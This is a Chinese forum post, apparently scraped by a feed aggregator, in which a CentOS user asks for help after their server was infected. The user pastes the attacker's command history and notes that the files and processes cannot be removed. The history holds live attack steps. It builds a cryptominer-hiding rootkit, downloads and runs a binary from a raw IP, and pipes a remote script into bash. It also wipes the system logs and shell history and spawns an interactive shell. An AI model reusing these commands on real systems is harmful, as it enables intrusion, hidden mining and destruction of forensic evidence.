惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

Blog — PlanetScale
Blog — PlanetScale
J
Java Code Geeks
月光博客
月光博客
Engineering at Meta
Engineering at Meta
WordPress大学
WordPress大学
Jina AI
Jina AI
小众软件
小众软件
U
Unit 42
云风的 BLOG
云风的 BLOG
Stack Overflow Blog
Stack Overflow Blog
雷峰网
雷峰网
博客园 - Franky
Microsoft Security Blog
Microsoft Security Blog
罗磊的独立博客
宝玉的分享
宝玉的分享
B
Blog
C
Check Point Blog
爱范儿
爱范儿
奇客Solidot–传递最新科技情报
奇客Solidot–传递最新科技情报
Cyber Security Advisories - MS-ISAC
Cyber Security Advisories - MS-ISAC
量子位
阮一峰的网络日志
阮一峰的网络日志
Vercel News
Vercel News
酷 壳 – CoolShell
酷 壳 – CoolShell

CentOS

vscode 的 remote-ssh 还支持 centos7 吗? CentOS Stream 10 正式 GA, RHEL 10 Beta 也上路了 CentOS 采用 stream 升级以后,真的会有人选择 Rocky 或者 Alma Linux 吗 使用迁移工具迁移 centos7 会有什么坑? CentOS 将于 6 月 30 全面停服。 Linux 小白求助 swap 占用问题 求助,如何在 Centos9 文本安装模式下对 root 分区进行 luks 加密? 为什么 CENTOS crontab 的 PATH 不包含/usr/sbin? Centos7 资源没怎么占用,执行各种命令都很卡,求大佬帮忙解决下 centos7 网络无法启动,无法理解缘由 改完 root 密码后 SSH 无法登录了 [求助]centos 6.5 配置多个公网 ip 如果 centos7 版本也停更了,替代方案还有哪些 [实在是高] redha 直接消灭了免费的二进制兼容的 rhel 发行版 Centos 7.9 firewall 报错 Linux 字体不定期失效问题 centos 不维护后,还有哪些好的 server 端 os 可以替代 centos? 请教 vps 内外网卡均显示内网 ip 地址问题, 如何修改 Cockpit 自动登录二级服务器问题 centos 如何做个端口映射? centos 8 rc.local 不能正常工作 CentOS 如何创建一个用户,只允许该用户(只读)访问特定文件夹下的文件,其他文件均对其不可见 AlmaLinux 8.5 发布了 CentOS 8 即将在本年年底停止维护,最近有各种各样的基于 CentOS 的二次发行版出现,大家如何看待。 有感于 CentOS 停止维护 CentOS 装 smb 无法在 macOS 和 Windows 里的网络里显示? centos 防火墙关闭后端口依旧无法访问 centos swap 内存不被使用问题 i7-10700 不支持 centos7.6 吗,安装直接黑屏 急! centos7 安装过程中卡住
[求助] 系统中毒了,找到了进程和文件,无法杀死和删除
quadrapop · 2022-12-02 · via CentOS

直接进入主题

操作日志

1  export TERM=xterm
    2  top
    3  /usr/lib/sys/rcu_bj 
    4  cd /usr/lib/sys/
    5  ls
    6  chmod +x rcu_bj 
    7  ./rcu_bj 
    8  chattr -ia rcu_bj
    9  ./rcu_bj 
   10  cd /
   11  mkdir .a
   12  cd .a
   13  git clone https://github.com/alfonmga/hiding-cryptominers-linux-rootkit.git
   14  cd hiding-cryptominers-linux-rootkit/
   15  ls
   16  make
   17  dmesg
   18  dmesg -C
   19  ls
   20  make
   21  ls
   22  make
   23  make
   24  cd ..
   25  rm -rf hiding-cryptominers-linux-rootkit/
   26  curl -LO http://1.234.16.54:7070/apiapi/api/raw/master/s.zip;mv s.zip rcu;chmod +x rcu
   27  ./rcu 
   28  top
   29  rm -rf /var/log/*
   30  cat /dev/null > ~/.bash_history
   31  id
   32  curl http://123.30.179.206:8189/solr/.v7/api | bash   
   33  ps auxw --sort=%cpu|tail -10
   34  lscpu
   35  ps auxw --sort=%cpu|tail -10
   36  ps auxw --sort=%cpu|tail -10
   37  ps auxw --sort=%cpu|tail -10
   38  ps aux | grep rcu
   39  python -c 'import pty; pty.spawn("/bin/bash")'

帮忙解读下这段脚本都干嘛了-_-

https://github.com/alfonmga/hiding-cryptominers-linux-rootkit

下载的这个脚本看用途是用来隐藏文件夹和进程的

3 个可疑文件看起来没有隐藏文件属性,但是无法删除

[root@localhost profile.d]# cd /usr/lib/sys
[root@localhost sys]# ll
总用量 8
-rwxr-x--x 1 root confluence    0 12 月  1 18:38 rcu_bj
-rwxr-x--- 1 root confluence 2786 11 月 14 11:01 rcu_libk
-rwxrwx--- 1 root root       1199 11 月 14 11:01 rcu_udev
-rwxr-x--- 1 root confluence    0 11 月 14 18:02 systemd
[root@localhost sys]# lsattr rcu_bj
---------------- rcu_bj
您在 /var/spool/mail/root 中有邮件
[root@localhost sys]# lsattr rcu_libk
---------------- rcu_libk
[root@localhost sys]# lsattr rcu_undev
lsattr: 没有那个文件或目录 当尝试对 rcu_undev 进行 stat 调用时
[root@localhost sys]# lsattr rcu_udev
---------------- rcu_udev

进程也杀不死

[root@localhost sys]# ps -ef|grep rcu
root          8      2  0 4 月 13 ?       00:00:06 [rcu_bh]
root          9      2  0 4 月 13 ?       22:01:59 [rcu_sched]
root     168224 243031  0 16:28 pts/24   00:00:00 grep --color=auto rcu

各位大佬接下来应该怎么办呀